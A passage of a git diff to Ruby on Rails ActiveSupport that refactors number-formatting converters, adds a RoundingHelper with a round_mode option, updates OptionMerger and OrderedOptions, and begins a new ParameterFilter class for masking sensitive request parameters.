-    # is more readable by humans (eg.: 1200000000 becomes "1.2
-    # Billion"). This is useful for numbers that can get very large
-    # (and too hard to read).
+    # Formats +number+ into a more human-friendly representation. Useful for
+    # numbers that can become very large and too hard to read.
     #
-    # See <tt>number_to_human_size</tt> if you want to print a file
-    # size.
+    #   number_to_human(123)                 # => "123"
+    #   number_to_human(1234)                # => "1.23 Thousand"
+    #   number_to_human(12345)               # => "12.3 Thousand"
+    #   number_to_human(1234567)             # => "1.23 Million"
+    #   number_to_human(1234567890)          # => "1.23 Billion"
+    #   number_to_human(1234567890123)       # => "1.23 Trillion"
+    #   number_to_human(1234567890123456)    # => "1.23 Quadrillion"
+    #   number_to_human(1234567890123456789) # => "1230 Quadrillion"
     #
-    # You can also define your own unit-quantifier names if you want
-    # to use other decimal units (eg.: 1500 becomes "1.5
-    # kilometers", 0.150 becomes "150 milliliters", etc). You may
-    # define a wide range of unit quantifiers, even fractional ones
-    # (centi, deci, mili, etc).
+    # See #number_to_human_size if you want to pretty-print a file size.
     #
     # ==== Options
     #
-    # * <tt>:locale</tt> - Sets the locale to be used for formatting
-    #   (defaults to current locale).
-    # * <tt>:precision</tt> - Sets the precision of the number
-    #   (defaults to 3).
-    # * <tt>:significant</tt> - If +true+, precision will be the number
-    #   of significant_digits. If +false+, the number of fractional
-    #   digits (defaults to +true+)
-    # * <tt>:separator</tt> - Sets the separator between the
-    #   fractional and integer digits (defaults to ".").
-    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-    #   to "").
-    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-    #   insignificant zeros after the decimal separator (defaults to
-    #   +true+)
-    # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
-    #   string containing an i18n scope where to find this hash. It
-    #   might have the following keys:
-    #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
-    #     <tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
-    #     <tt>:billion</tt>, <tt>:trillion</tt>,
-    #     <tt>:quadrillion</tt>
-    #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
-    #     <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
-    #     <tt>:pico</tt>, <tt>:femto</tt>
-    # * <tt>:format</tt> - Sets the format of the output string
-    #   (defaults to "%n %u"). The field types are:
-    #   * %u - The quantifier (ex.: 'thousand')
-    #   * %n - The number
-    #
-    # ==== Examples
-    #
-    #   number_to_human(123)                         # => "123"
-    #   number_to_human(1234)                        # => "1.23 Thousand"
-    #   number_to_human(12345)                       # => "12.3 Thousand"
-    #   number_to_human(1234567)                     # => "1.23 Million"
-    #   number_to_human(1234567890)                  # => "1.23 Billion"
-    #   number_to_human(1234567890123)               # => "1.23 Trillion"
-    #   number_to_human(1234567890123456)            # => "1.23 Quadrillion"
-    #   number_to_human(1234567890123456789)         # => "1230 Quadrillion"
-    #   number_to_human(489939, precision: 2)        # => "490 Thousand"
-    #   number_to_human(489939, precision: 4)        # => "489.9 Thousand"
-    #   number_to_human(1234567, precision: 4,
-    #                            significant: false) # => "1.2346 Million"
-    #   number_to_human(1234567, precision: 1,
-    #                            separator: ',',
-    #                            significant: false) # => "1,2 Million"
-    #
-    #   number_to_human(500000000, precision: 5)           # => "500 Million"
-    #   number_to_human(12345012345, significant: false)   # => "12.345 Billion"
-    #
-    # Non-significant zeros after the decimal separator are stripped
-    # out by default (set <tt>:strip_insignificant_zeros</tt> to
-    # +false+ to change that):
-    #
-    # number_to_human(12.00001)                                       # => "12"
-    # number_to_human(12.00001, strip_insignificant_zeros: false)     # => "12.0"
-    #
-    # ==== Custom Unit Quantifiers
-    #
-    # You can also use your own custom unit quantifiers:
-    #  number_to_human(500000, units: { unit: 'ml', thousand: 'lt' })  # => "500 lt"
-    #
-    # If in your I18n locale you have:
-    #
-    #   distance:
-    #     centi:
-    #       one: "centimeter"
-    #       other: "centimeters"
-    #     unit:
-    #       one: "meter"
-    #       other: "meters"
-    #     thousand:
-    #       one: "kilometer"
-    #       other: "kilometers"
-    #     billion: "gazillion-distance"
-    #
-    # Then you could do:
-    #
-    #   number_to_human(543934, units: :distance)            # => "544 kilometers"
-    #   number_to_human(54393498, units: :distance)          # => "54400 kilometers"
-    #   number_to_human(54393498000, units: :distance)       # => "54.4 gazillion-distance"
-    #   number_to_human(343, units: :distance, precision: 1) # => "300 meters"
-    #   number_to_human(1, units: :distance)                 # => "1 meter"
-    #   number_to_human(0.34, units: :distance)              # => "34 centimeters"
+    # [+:locale+]
+    #   The locale to use for formatting. Defaults to the current locale.
+    #
+    # [+:precision+]
+    #   The level of precision. Defaults to 3.
+    #
+    #     number_to_human(123456, precision: 2) # => "120 Thousand"
+    #     number_to_human(123456, precision: 4) # => "123.5 Thousand"
+    #
+    # [+:round_mode+]
+    #   Specifies how rounding is performed. See +BigDecimal.mode+. Defaults to
+    #   +:default+.
+    #
+    #     number_to_human(123456, precision: 2, round_mode: :up)
+    #     # => "130 Thousand"
+    #
+    # [+:significant+]
+    #   Whether +:precision+ should be applied to significant digits instead of
+    #   fractional digits. Defaults to true.
+    #
+    # [+:separator+]
+    #   The decimal separator. Defaults to <tt>"."</tt>.
+    #
+    #     number_to_human(123456, precision: 4, separator: ",")
+    #     # => "123,5 Thousand"
+    #
+    # [+:delimiter+]
+    #   The thousands delimiter. Defaults to <tt>","</tt>.
+    #
+    # [+:strip_insignificant_zeros+]
+    #   Whether to remove insignificant zeros after the decimal separator.
+    #   Defaults to true.
+    #
+    #     number_to_human(1000000)                                   # => "1 Million"
+    #     number_to_human(1000000, strip_insignificant_zeros: false) # => "1.00 Million"
+    #     number_to_human(10.01)                                     # => "10"
+    #     number_to_human(10.01, strip_insignificant_zeros: false)   # => "10.0"
+    #
+    # [+:format+]
+    #   The format of the output. <tt>%n</tt> represents the number, and
+    #   <tt>%u</tt> represents the quantifier (e.g., "Thousand"). Defaults to
+    #   <tt>"%n %u"</tt>.
+    #
+    # [+:units+]
+    #   A Hash of custom unit quantifier names.
+    #
+    #     number_to_human(1, units: { unit: "m", thousand: "km" })        # => "1 m"
+    #     number_to_human(100, units: { unit: "m", thousand: "km" })      # => "100 m"
+    #     number_to_human(1000, units: { unit: "m", thousand: "km" })     # => "1 km"
+    #     number_to_human(100000, units: { unit: "m", thousand: "km" })   # => "100 km"
+    #     number_to_human(10000000, units: { unit: "m", thousand: "km" }) # => "10000 km"
+    #
+    #   The following keys are supported for integer units: +:unit+, +:ten+,
+    #   +:hundred+, +:thousand+, +:million+, +:billion+, +:trillion+,
+    #   +:quadrillion+. Additionally, the following keys are supported for
+    #   fractional units: +:deci+, +:centi+, +:mili+, +:micro+, +:nano+,
+    #   +:pico+, +:femto+.
+    #
+    #   The Hash can also be defined as a scope in an I18n locale. For example:
+    #
+    #     en:
+    #       distance:
+    #         centi:
+    #           one: "centimeter"
+    #           other: "centimeters"
+    #         unit:
+    #           one: "meter"
+    #           other: "meters"
+    #         thousand:
+    #           one: "kilometer"
+    #           other: "kilometers"
+    #
+    #   Then it can be specified by name:
+    #
+    #     number_to_human(1, units: :distance)        # => "1 meter"
+    #     number_to_human(100, units: :distance)      # => "100 meters"
+    #     number_to_human(1000, units: :distance)     # => "1 kilometer"
+    #     number_to_human(100000, units: :distance)   # => "100 kilometers"
+    #     number_to_human(10000000, units: :distance) # => "10000 kilometers"
+    #     number_to_human(0.1, units: :distance)      # => "10 centimeters"
+    #     number_to_human(0.01, units: :distance)     # => "1 centimeter"
+    #
     def number_to_human(number, options = {})
       NumberToHumanConverter.convert(number, options)
     end
diff --git a/activesupport/lib/active_support/number_helper/number_converter.rb b/activesupport/lib/active_support/number_helper/number_converter.rb
index ce363287cf128..a68838c0ee544 100644
--- a/activesupport/lib/active_support/number_helper/number_converter.rb
+++ b/activesupport/lib/active_support/number_helper/number_converter.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
+require "bigdecimal"
+require "bigdecimal/util"
 require "active_support/core_ext/big_decimal/conversions"
-require "active_support/core_ext/object/blank"
 require "active_support/core_ext/hash/keys"
 require "active_support/i18n"
 require "active_support/core_ext/class/attribute"
@@ -28,7 +31,7 @@ class NumberConverter # :nodoc:
           # If set to true, precision will mean the number of significant digits instead
           # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
           significant: false,
-          # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+          # If set, the zeros after the decimal separator will always be stripped (e.g.: 1.200 will be 1.2)
           strip_insignificant_zeros: false
         },
 
@@ -120,13 +123,14 @@ def self.convert(number, options)
 
       def initialize(number, options)
         @number = number
-        @opts   = options.symbolize_keys
+        @opts = options.symbolize_keys
+        @options = nil
       end
 
       def execute
         if !number
           nil
-        elsif validate_float? && !valid_float?
+        elsif validate_float? && !valid_bigdecimal
           number
         else
           convert
@@ -134,7 +138,6 @@ def execute
       end
 
       private
-
         def options
           @options ||= format_options.merge(opts)
         end
@@ -160,22 +163,27 @@ def i18n_format_options
           options
         end
 
-        def translate_number_value_with_default(key, i18n_options = {})
-          I18n.translate(key, { default: default_value(key), scope: :number }.merge!(i18n_options))
+        def translate_number_value_with_default(key, **i18n_options)
+          I18n.translate(key, default: default_value(key), scope: :number, **i18n_options)
         end
 
-        def translate_in_locale(key, i18n_options = {})
-          translate_number_value_with_default(key, { locale: options[:locale] }.merge(i18n_options))
+        def translate_in_locale(key, **i18n_options)
+          translate_number_value_with_default(key, locale: options[:locale], **i18n_options)
         end
 
         def default_value(key)
           key.split(".").reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
         end
 
-        def valid_float?
-          Float(number)
-        rescue ArgumentError, TypeError
-          false
+        def valid_bigdecimal
+          case number
+          when Float, Rational
+            number.to_d(0)
+          when String
+            BigDecimal(number, exception: false)
+          else
+            number.to_d rescue nil
+          end
         end
     end
   end
diff --git a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
index 0f9dce722fa3c..543c7b4fa65fc 100644
--- a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
+++ b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
@@ -1,4 +1,6 @@
-require "active_support/core_ext/numeric/inquiry"
+# frozen_string_literal: true
+
+require "active_support/number_helper/number_converter"
 
 module ActiveSupport
   module NumberHelper
@@ -6,24 +8,24 @@ class NumberToCurrencyConverter < NumberConverter # :nodoc:
       self.namespace = :currency
 
       def convert
-        number = self.number.to_s.strip
         format = options[:format]
 
-        if number.to_f.negative?
-          format = options[:negative_format]
-          number = absolute_value(number)
+        number_d = valid_bigdecimal
+        if number_d
+          if number_d.negative?
+            number_d = number_d.abs
+            format = options[:negative_format] if (number_d * 10**options[:precision]) >= 0.5
+          end
+          number_s = NumberToRoundedConverter.convert(number_d, options)
+        else
+          number_s = number.to_s.strip
+          format = options[:negative_format] if number_s.sub!(/^-/, "")
         end
 
-        rounded_number = NumberToRoundedConverter.convert(number, options)
-        format.gsub("%n".freeze, rounded_number).gsub("%u".freeze, options[:unit])
+        format.gsub("%n", number_s).gsub("%u", options[:unit])
       end
 
       private
-
-        def absolute_value(number)
-          number.respond_to?(:abs) ? number.abs : number.sub(/\A-/, "")
-        end
-
         def options
           @options ||= begin
             defaults = default_format_options.merge(i18n_opts)
diff --git a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
index e3b35531b11f2..4fb2fb7150fc8 100644
--- a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
+++ b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
@@ -1,6 +1,10 @@
+# frozen_string_literal: true
+
+require "active_support/number_helper/number_converter"
+
 module ActiveSupport
   module NumberHelper
-    class NumberToDelimitedConverter < NumberConverter #:nodoc:
+    class NumberToDelimitedConverter < NumberConverter # :nodoc:
       self.validate_float = true
 
       DEFAULT_DELIMITER_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/
@@ -10,9 +14,8 @@ def convert
       end
 
       private
-
         def parts
-          left, right = number.to_s.split(".".freeze)
+          left, right = number.to_s.split(".")
           left.gsub!(delimiter_pattern) do |digit_to_delimit|
             "#{digit_to_delimit}#{options[:delimiter]}"
           end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
index 56185ddf4b047..3f92628501f9a 100644
--- a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
+++ b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_support/number_helper/number_converter"
+
 module ActiveSupport
   module NumberHelper
     class NumberToHumanConverter < NumberConverter # :nodoc:
@@ -9,9 +13,10 @@ class NumberToHumanConverter < NumberConverter # :nodoc:
       self.validate_float = true
 
       def convert # :nodoc:
+        @number = RoundingHelper.new(options).round(number)
         @number = Float(number)
 
-        # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+        # For backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files.
         unless options.key?(:strip_insignificant_zeros)
           options[:strip_insignificant_zeros] = true
         end
@@ -20,16 +25,12 @@ def convert # :nodoc:
         exponent = calculate_exponent(units)
         @number = number / (10**exponent)
 
-        until (rounded_number = NumberToRoundedConverter.convert(number, options)) != NumberToRoundedConverter.convert(1000, options)
-          @number = number / 1000.0
-          exponent += 3
-        end
+        rounded_number = NumberToRoundedConverter.convert(number, options)
         unit = determine_unit(units, exponent)
-        format.gsub("%n".freeze, rounded_number).gsub("%u".freeze, unit).strip
+        format.gsub("%n", rounded_number).gsub("%u", unit).strip
       end
 
       private
-
         def format
           options[:format] || translate_in_locale("human.decimal_units.format")
         end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
index f263dbe9f8c7c..66688a4201899 100644
--- a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
+++ b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
+require "active_support/number_helper/number_converter"
+
 module ActiveSupport
   module NumberHelper
-    class NumberToHumanSizeConverter < NumberConverter #:nodoc:
-      STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb, :pb, :eb]
+    class NumberToHumanSizeConverter < NumberConverter # :nodoc:
+      STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb, :pb, :eb, :zb]
 
       self.namespace      = :human
       self.validate_float = true
@@ -9,7 +13,7 @@ class NumberToHumanSizeConverter < NumberConverter #:nodoc:
       def convert
         @number = Float(number)
 
-        # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+        # For backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files.
         unless options.key?(:strip_insignificant_zeros)
           options[:strip_insignificant_zeros] = true
         end
@@ -20,11 +24,10 @@ def convert
           human_size = number / (base**exponent)
           number_to_format = NumberToRoundedConverter.convert(human_size, options)
         end
-        conversion_format.gsub("%n".freeze, number_to_format).gsub("%u".freeze, unit)
+        conversion_format.gsub("%n", number_to_format).gsub("%u", unit)
       end
 
       private
-
         def conversion_format
           translate_number_value_with_default("human.storage_units.format", locale: options[:locale], raise: true)
         end
@@ -40,13 +43,13 @@ def storage_unit_key
 
         def exponent
           max = STORAGE_UNITS.size - 1
-          exp = (Math.log(number) / Math.log(base)).to_i
+          exp = (Math.log(number.abs) / Math.log(base)).to_i
           exp = max if exp > max # avoid overflow for the highest unit
           exp
         end
 
         def smaller_than_base?
-          number.to_i < base
+          number.to_i.abs < base
         end
 
         def base
diff --git a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
index ac647ca9b7ee3..0c2e190f8a2e5 100644
--- a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
+++ b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_support/number_helper/number_converter"
+
 module ActiveSupport
   module NumberHelper
     class NumberToPercentageConverter < NumberConverter # :nodoc:
@@ -5,7 +9,7 @@ class NumberToPercentageConverter < NumberConverter # :nodoc:
 
       def convert
         rounded_number = NumberToRoundedConverter.convert(number, options)
-        options[:format].gsub("%n".freeze, rounded_number)
+        options[:format].gsub("%n", rounded_number)
       end
     end
   end
diff --git a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
index 1de9f50f34da3..d104449ab790f 100644
--- a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
+++ b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
@@ -1,14 +1,18 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/blank"
+require "active_support/number_helper/number_converter"
+
 module ActiveSupport
   module NumberHelper
-    class NumberToPhoneConverter < NumberConverter #:nodoc:
+    class NumberToPhoneConverter < NumberConverter # :nodoc:
       def convert
-        str = country_code(opts[:country_code])
+        str = country_code(opts[:country_code]).dup
         str << convert_to_phone_number(number.to_s.strip)
         str << phone_ext(opts[:extension])
       end
 
       private
-
         def convert_to_phone_number(number)
           if opts[:area_code]
             convert_with_area_code(number)
diff --git a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
index 1f013990ea17b..f48a5158c3362 100644
--- a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
+++ b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_support/number_helper/number_converter"
+
 module ActiveSupport
   module NumberHelper
     class NumberToRoundedConverter < NumberConverter # :nodoc:
@@ -5,40 +9,32 @@ class NumberToRoundedConverter < NumberConverter # :nodoc:
       self.validate_float = true
 
       def convert
-        precision = options.delete :precision
-
-        if precision
-          case number
-          when Float, String
-            @number = BigDecimal(number.to_s)
-          when Rational
-            @number = BigDecimal(number, digit_count(number.to_i) + precision)
-          else
-            @number = number.to_d
-          end
+        helper = RoundingHelper.new(options)
+        rounded_number = helper.round(number)
 
-          if options.delete(:significant) && precision > 0
-            digits, rounded_number = digits_and_rounded_number(precision)
+        if precision = options[:precision]
+          if options[:significant] && precision > 0
+            digits = helper.digit_count(rounded_number)
             precision -= digits
             precision = 0 if precision < 0 # don't let it be negative
-          else
-            rounded_number = number.round(precision)
-            rounded_number = rounded_number.to_i if precision == 0 && rounded_number.finite?
-            rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
           end
 
           formatted_string =
-            if BigDecimal === rounded_number && rounded_number.finite?
+            if rounded_number.finite?
               s = rounded_number.to_s("F")
-              s << "0".freeze * precision
-              a, b = s.split(".".freeze, 2)
-              a << ".".freeze
-              a << b[0, precision]
+              a, b = s.split(".", 2)
+              if precision != 0
+                b << "0" * precision
+                a << "."
+                a << b[0, precision]
+              end
+              a
             else
-              "%00.#{precision}f" % rounded_number
+              # Infinity/NaN
+              "%f" % rounded_number
             end
         else
-          formatted_string = number
+          formatted_string = rounded_number
         end
 
         delimited_number = NumberToDelimitedConverter.convert(formatted_string, options)
@@ -46,27 +42,6 @@ def convert
       end
 
       private
-
-        def digits_and_rounded_number(precision)
-          if zero?
-            [1, 0]
-          else
-            digits = digit_count(number)
-            multiplier = 10**(digits - precision)
-            rounded_number = calculate_rounded_number(multiplier)
-            digits = digit_count(rounded_number) # After rounding, the number of digits may have changed
-            [digits, rounded_number]
-          end
-        end
-
-        def calculate_rounded_number(multiplier)
-          (number / BigDecimal.new(multiplier.to_f.to_s)).round * multiplier
-        end
-
-        def digit_count(number)
-          number.zero? ? 1 : (Math.log10(absolute_number(number)) + 1).floor
-        end
-
         def strip_insignificant_zeros
           options[:strip_insignificant_zeros]
         end
@@ -79,14 +54,6 @@ def format_number(number)
             number
           end
         end
-
-        def absolute_number(number)
-          number.respond_to?(:abs) ? number.abs : number.to_d.abs
-        end
-
-        def zero?
-          number.respond_to?(:zero?) ? number.zero? : number.to_d.zero?
-        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/number_helper/rounding_helper.rb b/activesupport/lib/active_support/number_helper/rounding_helper.rb
new file mode 100644
index 0000000000000..14deca13ea178
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/rounding_helper.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module NumberHelper
+    class RoundingHelper # :nodoc:
+      attr_reader :options
+
+      def initialize(options)
+        @options = options
+      end
+
+      def round(number)
+        precision = absolute_precision(number)
+        return number unless precision
+
+        rounded_number = convert_to_decimal(number).round(precision, options.fetch(:round_mode, :default).to_sym)
+        rounded_number.zero? ? rounded_number.abs : rounded_number # prevent showing negative zeros
+      end
+
+      def digit_count(number)
+        return 1 if number.zero?
+        (Math.log10(number.abs) + 1).floor
+      end
+
+      private
+        def convert_to_decimal(number)
+          case number
+          when Float, String
+            BigDecimal(number.to_s)
+          when Rational
+            BigDecimal(number, digit_count(number.to_i) + options[:precision])
+          else
+            number.to_d
+          end
+        end
+
+        def absolute_precision(number)
+          if options[:significant] && options[:precision] > 0
+            options[:precision] - digit_count(convert_to_decimal(number))
+          else
+            options[:precision]
+          end
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/option_merger.rb b/activesupport/lib/active_support/option_merger.rb
index 0f2caa98f203f..36d99a6e0017c 100644
--- a/activesupport/lib/active_support/option_merger.rb
+++ b/activesupport/lib/active_support/option_merger.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/deep_merge"
 
 module ActiveSupport
-  class OptionMerger #:nodoc:
+  class OptionMerger # :nodoc:
     instance_methods.each do |method|
-      undef_method(method) if method !~ /^(__|instance_eval|class|object_id)/
+      undef_method(method) unless method.start_with?("__", "instance_eval", "class", "object_id")
     end
 
     def initialize(context, options)
@@ -12,14 +14,25 @@ def initialize(context, options)
 
     private
       def method_missing(method, *arguments, &block)
-        if arguments.first.is_a?(Proc)
-          proc = arguments.pop
+        options = nil
+        if arguments.size == 1 && arguments.first.is_a?(Proc)
+          proc = arguments.shift
           arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
+        elsif arguments.last.respond_to?(:to_hash)
+          options = @options.deep_merge(arguments.pop)
         else
-          arguments << (arguments.last.respond_to?(:to_hash) ? @options.deep_merge(arguments.pop) : @options.dup)
+          options = @options
         end
 
-        @context.__send__(method, *arguments, &block)
+        if options
+          @context.__send__(method, *arguments, **options, &block)
+        else
+          @context.__send__(method, *arguments, &block)
+        end
+      end
+
+      def respond_to_missing?(...)
+        @context.respond_to?(...)
       end
   end
 end
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
index 3aa0a14f04131..07cde368552f5 100644
--- a/activesupport/lib/active_support/ordered_hash.rb
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "yaml"
 
 YAML.add_builtin_type("omap") do |type, val|
@@ -5,7 +7,7 @@
 end
 
 module ActiveSupport
-  # DEPRECATED: <tt>ActiveSupport::OrderedHash</tt> implements a hash that preserves
+  # DEPRECATED: +ActiveSupport::OrderedHash+ implements a hash that preserves
   # insertion order.
   #
   #   oh = ActiveSupport::OrderedHash.new
@@ -14,12 +16,12 @@ module ActiveSupport
   #   oh.keys # => [:a, :b], this order is guaranteed
   #
   # Also, maps the +omap+ feature for YAML files
-  # (See http://yaml.org/type/omap.html) to support ordered items
-  # when loading from yaml.
+  # (See https://yaml.org/type/omap.html) to support ordered items
+  # when loading from YAML.
   #
-  # <tt>ActiveSupport::OrderedHash</tt> is namespaced to prevent conflicts
+  # +ActiveSupport::OrderedHash+ is namespaced to prevent conflicts
   # with other implementations.
-  class OrderedHash < ::Hash
+  class OrderedHash < ::Hash # :nodoc:
     def to_yaml_type
       "!tag:yaml.org,2002:omap"
     end
diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb
index 04d6dfaf9cce5..000483250bdd9 100644
--- a/activesupport/lib/active_support/ordered_options.rb
+++ b/activesupport/lib/active_support/ordered_options.rb
@@ -1,7 +1,13 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/blank"
 
 module ActiveSupport
-  # Usually key value pairs are handled something like this:
+  # = Ordered Options
+  #
+  # +OrderedOptions+ inherits from +Hash+ and provides dynamic accessor methods.
+  #
+  # With a +Hash+, key-value pairs are typically managed like this:
   #
   #   h = {}
   #   h[:boy] = 'John'
@@ -10,7 +16,7 @@ module ActiveSupport
   #   h[:girl] # => 'Mary'
   #   h[:dog]  # => nil
   #
-  # Using +OrderedOptions+, the above code could be reduced to:
+  # Using +OrderedOptions+, the above code can be written as:
   #
   #   h = ActiveSupport::OrderedOptions.new
   #   h.boy = 'John'
@@ -22,7 +28,7 @@ module ActiveSupport
   # To raise an exception when the value is blank, append a
   # bang to the key name, like:
   #
-  #   h.dog! # => raises KeyError: key not found: :dog
+  #   h.dog! # => raises KeyError: :dog is blank
   #
   class OrderedOptions < Hash
     alias_method :_get, :[] # preserve the original #[] method
@@ -36,27 +42,37 @@ def [](key)
       super(key.to_sym)
     end
 
-    def method_missing(name, *args)
-      name_string = name.to_s
-      if name_string.chomp!("=")
-        self[name_string] = args.first
-      else
-        bangs = name_string.chomp!("!")
+    def dig(key, *identifiers)
+      super(key.to_sym, *identifiers)
+    end
 
-        if bangs
-          fetch(name_string.to_sym).presence || raise(KeyError.new("#{name_string} is blank."))
-        else
-          self[name_string]
-        end
+    def method_missing(method, *args)
+      if method.end_with?("=")
+        self[method.name.chomp("=")] = args.first
+      elsif method.end_with?("!")
+        name_string = method.name.chomp("!")
+        self[name_string].presence || raise(KeyError.new(":#{name_string} is blank"))
+      else
+        self[method.name]
       end
     end
 
     def respond_to_missing?(name, include_private)
       true
     end
+
+    def extractable_options?
+      true
+    end
+
+    def inspect
+      "#<#{self.class.name} #{super}>"
+    end
   end
 
-  # +InheritableOptions+ provides a constructor to build an +OrderedOptions+
+  # = Inheritable Options
+  #
+  # +InheritableOptions+ provides a constructor to build an OrderedOptions
   # hash inherited from another hash.
   #
   # Use this if you already have some hash and you want to create a new one based on it.
@@ -64,20 +80,68 @@ def respond_to_missing?(name, include_private)
   #   h = ActiveSupport::InheritableOptions.new({ girl: 'Mary', boy: 'John' })
   #   h.girl # => 'Mary'
   #   h.boy  # => 'John'
+  #
+  # If the existing hash has string keys, call Hash#symbolize_keys on it.
+  #
+  #   h = ActiveSupport::InheritableOptions.new({ 'girl' => 'Mary', 'boy' => 'John' }.symbolize_keys)
+  #   h.girl # => 'Mary'
+  #   h.boy  # => 'John'
   class InheritableOptions < OrderedOptions
     def initialize(parent = nil)
-      if parent.kind_of?(OrderedOptions)
+      @parent = parent
+      if @parent.kind_of?(OrderedOptions)
         # use the faster _get when dealing with OrderedOptions
-        super() { |h, k| parent._get(k) }
-      elsif parent
-        super() { |h, k| parent[k] }
+        super() { |h, k| @parent._get(k) }
+      elsif @parent
+        super() { |h, k| @parent[k] }
       else
         super()
+        @parent = {}
       end
     end
 
+    def to_h
+      @parent.merge(self)
+    end
+
+    def ==(other)
+      to_h == other.to_h
+    end
+
+    def inspect
+      "#<#{self.class.name} #{to_h.inspect}>"
+    end
+
+    def to_s
+      to_h.to_s
+    end
+
+    def pretty_print(pp)
+      pp.pp_hash(to_h)
+    end
+
+    alias_method :own_key?, :key?
+    private :own_key?
+
+    def key?(key)
+      super || @parent.key?(key)
+    end
+
+    def overridden?(key)
+      !!(@parent && @parent.key?(key) && own_key?(key.to_sym))
+    end
+
     def inheritable_copy
       self.class.new(self)
     end
+
+    def to_a
+      entries
+    end
+
+    def each(&block)
+      to_h.each(&block)
+      self
+    end
   end
 end
diff --git a/activesupport/lib/active_support/parameter_filter.rb b/activesupport/lib/active_support/parameter_filter.rb
new file mode 100644
index 0000000000000..7eeae6b291de7
--- /dev/null
+++ b/activesupport/lib/active_support/parameter_filter.rb
@@ -0,0 +1,157 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/duplicable"
+require "active_support/core_ext/array/extract"
+
+module ActiveSupport
+  # = Active Support Parameter Filter
+  #
+  # +ParameterFilter+ replaces values in a <tt>Hash</tt>-like object if their
+  # keys match one of the specified filters.
+  #
+  # Matching based on nested keys is possible by using dot notation, e.g.
+  # <tt>"credit_card.number"</tt>.
+  #
+  # If a proc is given as a filter, each key and value of the <tt>Hash</tt>-like
+  # and of any nested <tt>Hash</tt>es will be passed to it. The value or key can
+  # then be mutated as desired using methods such as <tt>String#replace</tt>.
+  #
+  #   # Replaces values with "[FILTERED]" for keys that match /password/i.
+  #   ActiveSupport::ParameterFilter.new([:password])
+  #
+  #   # Replaces values with "[FILTERED]" for keys that match /foo|bar/i.
+  #   ActiveSupport::ParameterFilter.new([:foo, "bar"])
+  #
+  #   # Replaces values for the exact key "pin" and for keys that begin with
+  #   # "pin_". Does not match keys that otherwise include "pin" as a
+  #   # substring, such as "shipping_id".
+  #   ActiveSupport::ParameterFilter.new([/\Apin\z/, /\Apin_/])
+  #
+  #   # Replaces the value for :code in `{ credit_card: { code: "xxxx" } }`.
+  #   # Does not change `{ file: { code: "xxxx" } }`.
+  #   ActiveSupport::ParameterFilter.new(["credit_card.code"])
+  #
+  #   # Reverses values for keys that match /secret/i.
+  #   ActiveSupport::ParameterFilter.new([-> (k, v) do
+  #     v.reverse! if /secret/i.match?(k)
+  #   end])
+  #
+  class ParameterFilter
